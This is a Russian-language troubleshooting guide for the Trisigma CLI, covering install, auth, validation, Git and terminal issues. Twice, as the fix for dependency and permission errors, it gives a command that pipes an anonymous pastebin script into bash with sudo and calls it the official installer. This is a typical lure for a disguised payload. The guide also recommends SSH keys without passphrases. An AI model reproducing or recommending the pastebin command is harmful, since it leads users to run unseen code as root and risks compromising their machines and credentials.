Решение проблем
Типичные проблемы при работе с Trisigma CLI и способы их решения.
Проблемы при установке
Ошибка: Конфликт версий библиотек
Симптом:
ERROR: Cannot install trisigma-cli because these package versions have conflicting dependencies.
Причина: Конфликт с библиотеками из Python-окружения конфигуратора или других проектов.
Решение: Переустанови CLI через автоматический скрипт:
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Установочный скрипт автоматически изолирует зависимости CLI от других Python-пакетов.
Ошибка: Нет до ступа к PyPI
Симптом:
ERROR: Could not find a version that satisfies the requirement trisigma-cli
Причина: Нет сетевого доступа к внутреннему PyPI.
Решение:
-
Проверь доступ к интернету
-
Проверь доступ к домену:
curl -I https://pypi.org/simple -
Если домен недоступен. проверь настройки сети или обратись в IT-поддержку
Ошибка: Ошиб ка прав доступа
Симптом:
ERROR: Could not install packages due to an OSError: [Errno 13] Permission denied
Причина: Недостаточно прав для установки в системную директорию.
Решение: Используй автоматический установочный скрипт, который автоматически устанавливает в пользовательскую директорию:
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Ошибка: Команда trisigma не найдена
Симптом:
bash: trisigma: command not found
Причина: Директория с Python-скриптами не в PATH.
Решение:
Перезагрузи shell для обновления PATH:
source ~/.zshrc # для zsh
source ~/.bashrc # для bash
Автоматический скрипт настраивает PATH при установке.
Проблемы при настройке
Ошибка: CLI не настроен
Симптом:
Ошибка: API не настроено. Выполните 'trisigma init' для настройки.
Решение: Запусти настройку CLI:
trisigma init
Пройди все шаги настройки: выбор репозитория, авторизация в Trisigma.
Ошибка: Токен невалиден или просрочен
Симптом:
Ошибка: Ошибка авторизации
💡 Выполните 'trisigma login' для повторной авторизации
Решение: Обнови токен:
trisigma login
CLI откроет браузер для повторной авторизации.
Ошибка: Репозиторий не найден
Симптом:
Ошибка: Директория не является валидным репозиторием метрик
Причины и решения:
1. Неверный путь к репозиторию
Проверь текущую конфигурацию:
trisigma config --show
Если путь неверен, переинициализируй:
trisigma init
2. Репозиторий не склонирован
Склонируй репозиторий:
git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ab-metrics
cd ab-metrics
trisigma init
3. Неполная структура репозитория
Проверь что в репозитории есть все необходимые директории:
ab-metrics/
├── sources/
│ ├── sources.yaml
│ └── sql/
├── dimensions/
│ ├── dimensions.yaml
│ └── sql/
├── metrics/
├── enrichments/
├── m42/
├── ab/
└── ...
Если чего-то не хватает. выполни git pull для обновления.
Ошибка: Браузер не открывается при авторизации
Симптом: При запуске trisigma init или trisigma login браузер не открывается автоматически.
Решение:
-
Скопируй URL из терминала:
🌐 Откроется браузер: https://<your-company>-conf.trisigma.io/oauth/authorize?... -
Открой URL вручную в браузере
-
Авторизуйся
-
CLI автоматически получит токен
Ошибка: Ошибка подключения к API
Симптом:
Ошибка: Не удалось подключиться к API
Причины и решения:
-
Нет сетевого доступа:
curl -s -o /dev/null -w "%{http_code}" https://<your-company>-conf.trisigma.io/_info | grep -q "200" && echo -e "\n\n\nAPI доступен и готов к работе" || echo -e "\n\n\nAPI недоступен" -
Проверь VPN-подключение к сети Авито
-
API временно недоступен. попробуй позже или обратись в поддержку
Проблемы при валидации
Ошибка: Ошибки валидации
Симптом:
✗ Валидация не прошла. Найдены ошибки.
Решение:
-
Внимательно прочитай список ошибок. указаны файлы и строки с проблемами
-
Используй AI-объяснение:
trisigma sl validate --ai-explain -
Исправь ошибки согласно рекомендациям
-
Повторная валидация:
trisigma sl validate
Ошибка: LLM не настроен (при использовании --ai-explain)
Симптом:
⚠️ LLM не настроен. AI-объяснения недоступны.
Причина: LLM провайдер не настроен в конфигурации.
Решение:
-
Интерактивный режим:
trisigma
# Выбери "Settings" → настрой LLM Provider URL и Token -
Командный режим:
trisigma init
# При настройке укажи LLM Provider URL и Token -
Если не хочешь использовать AI. просто не указывай
--ai-explain
Проблемы при компиляции SQL
Ошибка: Источник не найден
Симптом:
Ошибка: Источник 'events' не найден в репозитории
Решение:
-
Проверь список доступных источников:
trisigma sl list-sources -
Убедись что название написано правильно (регистр важен!)
-
Если источник действительно отсутствует. проверь
git pullдля обновления
Ошибка: Метрика не найдена
Симптом:
Ошибка: Метрика 'revenue' не найдена в репозитории
Решение:
-
Проверь список доступных метрик:
trisigma sl list-metrics -
Убедись что название написано правильно
-
Проверь что файл метрики существует в
metrics/
Ошибка: Ошибка генерации SQL
Симптом:
Ошибка: Не удалось сгенерировать SQL
Причина: Ошибки в структуре репозитория или в API.
Решение:
-
Проверь валидацию:
trisigma sl validate -
Исправь ошибки валидации
-
Повтори компиляцию
Проблемы с Git
Ошибка: Git не доступен
Симптом:
Ошибка: Git не доступен или репозиторий не инициализирован
Решение:
-
Проверь что Git установлен:
git --versionЕсли нет. установи Git:
- macOS:
brew install git - Linux:
sudo apt-get install git
- macOS:
-
Проверь что ты в Git-репозитории:
cd ~/projects/ab-metrics
git statusЕсли это не Git-репозиторий, инициализируй или склонируй заново.
Ошибка: Нет доступа к удаленному репозиторию
Симптом:
Permission denied (publickey)
Причина: SSH-ключ не добавлен в GitHub или неправильный.
Решение:
-
Проверь SSH-доступ:
ssh -T git@github.comДолжно вывести:
Hi username! You've successfully authenticated, but GitHub does not provide shell access. -
Если ничего не вывелось. настрой SSH-ключи (см. Настройка Git и SSH-ключей)
Ошибка: SSH-ключ запрашивает passphrase
Симптом:
При выполнении git операций CLI запрашивает passphrase или зависает:
Enter passphrase for key '/Users/username/.ssh/id_ed25519':
Причина: SSH-ключ был создан с passphrase, что не поддерживается Trisigma CLI.
Решение:
Создай новый SSH-ключ без passphrase:
# Создай новый ключ без passphrase (оставь поле passphrase пустым) \{#sozday-novyy-klyuch-bez-passphrase-ostav-pole-passphrase-pustym}
ssh-keygen -t ed25519 -C "your.email@example.com" -f ~/.ssh/id_ed25519_no_pass
# Добавь новый ключ в ssh-agent \{#dobav-novyy-klyuch-v-ssh-agent}
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_ed25519_no_pass
# Скопируй публичный ключ \{#skopiruy-publichnyy-klyuch}
cat ~/.ssh/id_ed25519_no_pass.pub
# Добавь новый публичный ключ в GitHub \{#dobav-novyy-publichnyy-klyuch-v-github}
# https://github.com/settings/keys
Или удали passphrase с существующего ключа:
ssh-keygen -p -f ~/.ssh/id_ed25519
# При запросе нового passphrase просто нажми Enter (оставь пустым) \{#pri-zaprose-novogo-passphrase-prosto-nazhmi-enter-ostav-pustym}
Ошибка: Незакоммиченные изменения
Симптом:
Ошибка: Есть незакоммиченные изменения. Сохраните или отмените их.
Причина: В репозитории есть несохраненные изменения.
Решение:
Вариант 1: Сохрани изменения:
trisigma sl save -m "Описание изменений"
Вариант 2: Отмени изменения:
git stash # временно сохранить
# или \{#ili}
git reset --hard # полностью отменить (осторожно!)
Ошибка: Ветка уже существует
Симптом:
Ошибка: Ветка 'feature/AB-1234-...' уже существует
Решение:
-
Переключись на существующую ветку:
git checkout feature/AB-1234-... -
Или удали старую ветку:
git branch -D feature/AB-1234-...
trisigma sl task AB-1234 "Новое описание"
Проблемы с интерактивным режимом (TUI)
Проблема: TUI отображается некорректно
Симптом: Интерфейс выглядит сломанным, символы отображаются неправильно.
Причина: Терминал не поддерживает Unicode или цвета.
Решение:
-
Используй современный терминал:
- macOS: iTerm2
- Linux: GNOME Terminal, Konsole
-
Проверь кодировку:
echo $LANGДолжно быть что-то вроде
en_US.UTF-8илиru_RU.UTF-8 -
Установи кодировку (если нужно):
export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8
Проблема: TUI не реагирует на клавиши
Симптом: Нажатия клавиш не обрабатываются.
Решение:
-
Нажми
Ctrl+Cдля выхода -
Перезапусти CLI:
trisigma -
Если проблема повторяется. используй командный режим:
trisigma sl validate
Проблема: Мониторинг файлов не работает
Симптом: TUI не показывает уведомления об изменении файлов.
Причина: Мониторинг файло в может не поддерживаться на некоторых файловых системах.
Решение:
- Проверь что файловая система поддерживает file watching (ext4, APFS, NTFS. поддерживают)
- Перезапусти TUI
- Используй командный режим с
--watch:trisigma sl compile -s events --watch
Проблемы с производительностью
Проблема: Медленная валидация
Симптом: Валидация выполняется о чень долго.
Причина: Большой репозиторий или медленное API-соединение.
Решение:
-
Проверь сетевое соединение к API:
time curl -I https://<your-company>-conf.trisigma.io/_info -
Если API медленно отвечает. попробуй позже
-
Используй кеш (CLI автоматически кеширует результаты)